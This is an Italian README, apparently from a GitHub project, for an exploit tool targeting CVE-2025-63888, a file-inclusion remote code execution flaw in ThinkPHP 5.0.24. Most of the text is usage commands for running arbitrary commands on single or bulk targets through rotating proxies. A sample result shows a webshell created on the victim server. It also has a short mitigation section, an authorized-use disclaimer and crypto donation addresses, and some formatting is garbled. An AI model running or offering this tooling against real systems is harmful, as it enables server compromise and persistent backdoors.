
Strumento di ricerca sulla sicurezza per rilevare e testare CVE-2025-63888 (ThinkPHP 5.0.24 File Inclusion RCE vulnerability)
Uno strumento di ricerca sulla sicurezza per rilevare e testare la vulnerabilità CVE-2025-63888 in ThinkPHP 5.0.24, che consente l'esecuzione remota di codice tramite attacchi di inclusione di file.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta per testarli.
CVE-2025-63888 è una vulnerabilità critica di esecuzione remota di codice in ThinkPHP 5.0.24. La vulnerabilità risiede nella funzione read situata in thinkphp/library/think/template/driver/File.php, consentendo agli aggressori di eseguire codice arbitrario attraverso attacchi di inclusione di file manipolando il percorso del template nella funzione view().
Punteggio CVSS: 9.8 (Critico)
Versione interessata: ThinkPHP 5.0.24 (versione esatta)
File vulnerabile: thinkphp/library/think/template/driver/File.php
Metodo
read()# Clona il repository
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# Installa le dipendenze
pip install -r requirements.txt
# Rendi lo script eseguibile (opzionale)
chmod +x cve_2025_63888_exploit.py
# Scarica lo script
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# Installa le dipendenze
pip install requests
# Singolo target
python3 cve_2025_63888_exploit.py -u http://target.com
# Esegui comando personalizzato
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# Molteplici target da file
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# Con threading per scansione più veloce
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# Output verbose per debug
python3 cve_2025_63888_exploit.py -u http://target.com -v
# Proxy singolo
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:porta
# Multipli proxy da file
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url URL del target
-f, --file File contenente gli URL dei target (uno per riga)
-c, --command Comando da eseguire (predefinito: id)
-t, --threads Numero di thread (predefinito: 1)
-o, --output File di output (predefinito: uknf_results.json)
-v, --verbose Abilita logging verbose
--proxy URL del proxy (es. http://127.0.0.1:8080)
--proxy-list File contenente gli URL dei proxy (uno per riga)
Lo script genera un file JSON con i risultati dettagliati:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view()Se stai utilizzando ThinkPHP 5.0.24:
Aggiorna immediatamente:
Implementa la validazione del percorso:
view()../, ..)Correzioni a livello di codice:
realpath() per assicurarti che i file siano all'interno delle directory consentitepython3 cve_2025_63888_exploit.py -u https://example.com
# Crea file dei target
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Esegui scansione
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# Proxy singolo
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multipli proxy da file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
I contributi sono benvenuti! Sentiti libero di inviare una Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Aggiungi una AmazingFeature')git push origin feature/AmazingFeature)Se incontri problemi o hai suggerimenti, per favore apri un issue su GitHub.
Questo progetto è concesso in licenza con la licenza MIT - vedi il file LICENSE per i dettagli.
Se trovi utile questo strumento, considera di dargli una stella su GitHub!
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo programma. Gli utenti sono responsabili di assicurarsi di avere la corretta autorizzazione prima di testare qualsiasi sistema.
Se trovi utile questo strumento e desideri supportare il progetto:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Grazie per il tuo supporto! 🙏